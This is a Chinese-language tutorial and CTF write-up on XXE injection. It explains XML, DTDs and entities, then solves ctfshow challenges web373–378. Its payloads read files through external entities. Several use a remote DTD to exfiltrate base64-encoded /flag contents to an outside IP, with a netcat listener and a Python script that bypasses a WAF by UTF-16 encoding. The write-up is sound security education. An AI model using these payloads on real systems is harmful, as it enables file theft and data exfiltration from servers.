什么是xxe漏洞?

XXE全称是XML External Entity Injection,即外部实体注入。XXE是针对应用程序解析XML输入类型的攻击。当包含对外部实体的引用的 XML输入被弱配置的 XML 解析器处理时,就会发生这种攻击。这种攻击可能导致机密数据泄露、拒绝服务、服务器端请求伪造。

什么是XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。

XML实列

XML 文档第一行以 XML 声明开始,用来表述文档的一些信息,如:

1
<?xml version="1.0" encoding="UTF-8"?>

标签必须成对出现,有开始标签就需要有结束标签,

XML 标签没有被预定义,通过 XML 您可以发明自己的标签,列如下面的 “site”,”name”,”url”,”desc”都是自定义的标签

XML 必须包含根元素,它是所有其他元素的父元素。下面案例中的根元素就是“site”

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8"?>
<site>
<name>zIxyd</name>
<url>https://zixyd.github.io</url>
<desc>Blog</desc>
</site>

什么是DTD?

Document Type Definition 文档类型定义

DTD文件一般和XML文件配合使用,主要是为了约束XML文件。

XML文件引入DTD文件,这样XML可以自定义标签,但又受到DTD文件的约束

基本语法:

1
<!ELEMENT 元素名 类型>

DTD实列

编写一个名为myClass.dtd的dtd文件

1
2
3
4
5
<!ELEMENT 班级 (学生+)>
<!ELEMENT 学生 (名字,年龄,介绍)>
<!ELEMENT 名字 (#PCDATA)>
<!ELEMENT 年龄 (#PCDATA)>
<!ELEMENT 介绍 (#PCDATA)>

编写一个xml文件并引入dtd文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="utf-8"?>
<!--引入dtd文件,约束这个xml-->
<!DOCTYPE 班级 SYSTEM "myClass.dtd">
<班级>
<学生>
<名字>周小星</名字>
<年龄>23</年龄>
<介绍>学习刻苦</介绍>
</学生>
<学生>
<名字>林晓</名字>
<年龄>25</年龄>
<介绍>是一个好学生</介绍>
</学生>
</班级>

引入中写的:SYSTEM,表示当前的DTD文件是本地的
如果写的是PUBLIC,则表示引入的DTD文件是来自于网络的.

DTD文档的声明及引用

1.内部DTD文档

1
<!DOCTYPE 根元素 [定义内容]>

2.外部DTD文档

引入外部的DTD文档分为两种:

(1)当引用的DTD文件是本地文件的时候,用SYSTEM标识,并写上”DTD的文件路径”,如下:

1
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">

(2)如果引用的DTD文件是一个公共的文件时,采用PUBLIC标识,如下方式:

1
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">

补充关键(ENTITY)

ENTITY属性:实体用于为一段内容创建一个别名,以后在XML文档中就可以使用别名引用这段内容了。

1,引用实体

1
<!ENTITY 实体名称 "实体内容">

举例

1
2
3
<!ENTITY copyright "I am a programmer">
....
&copyright;

2,参数实体

1
<!ENTITY % 实体名称 "实体内容">

举例

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!ELEMENT person (name,addr,tel,br,email)>
<!ENTITY %name "(#PCDATA)">
<!ELEMENT addr %name;>
<!ELEMENT tel %name;>
<!ELEMENT br EMPTY>
<!ELEMENT email %name;>

CTFSHOW_XML

web373(入门xml)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);

1, libxml_disable_entity_loader函数可以加载外部实体

1
可选。禁用 (TRUE) 或启用 (FALSE) libxml 扩展以加载外部实体。 默认为真

2, **file_get_contents(‘php://input’)**接受POST数据

3, simplexml_import_dom 函数把 DOM 节点转换为 SimpleXMLElement 对象

1
2
3
4
5
6
7
<?php
$dom = new domDocument();
$dom->loadXML('<note><from>John</from></note>');
$xml = simplexml_import_dom($dom);
echo $xml->from;
?>
//输出John

payload

1
2
3
4
5
6
7
8
9
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<anything>
<ctfshow>
&xxe;
</ctfshow>
</anything>

web374 (无回显)

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

利用ENTITY中的参数实体

为区分嵌套实体和实体之间的关系,可以通过单双引号来间隔开,引号中嵌套一个参数实体,其%号需要写成:%也可写为16进制的%

只要明白参数实体,payload不就难理解

先在vps上创建一个dtd文件

1
2
3
4
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">

<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://81.71.13.76:5050/%file;'>">

再vps利用nc监听端口 5050,再发送xml数据

1
2
3
4
5
<!DOCTYPE note[
<!ENTITY % remote SYSTEM "http://81.71.13.76:5656/xxe.dtd">
%remote;%int;%send;
]>

web375 -web376

(无回显,过滤了<?xml version=”1.0”)

XML的声明是可以省略的,所以和374是一样的解法

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

web377

(无回显,过滤了<?xml version=”1.0”和“http”)

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

意思是可以对xml文档UTF-16编码

1
2
3
4
5
6
7
8
9
import requests
url = 'http://f20c0eb6-2aea-496b-8411-94f78f0ae0a4.challenge.ctf.show/'
data = '''<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % aaa SYSTEM "http://81.71.13.76:8080/xml.dtd">
%aaa;
]>
<root>1</root>'''
r = requests.post(url=url,data=data.encode('utf-16'))

web378

尝试弱密码登陆,显示登陆成功却没有反应,用bp抓包,很明显是xml数据

1
<user><username>admin</username><password>admin</password></user>

payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user>
<username>
&xxe;
</username>
<password>
admin
</password>
</user>

防范XXE

  • 禁用 XML 解析器中的外部实体处理
  • 验证传入的 XML 数据,以确保其仅包含允许的实体
  • 使用安全的库和 API 处理 XML 数据
  • 实施适当的输入验证,防止恶意的 XML 输入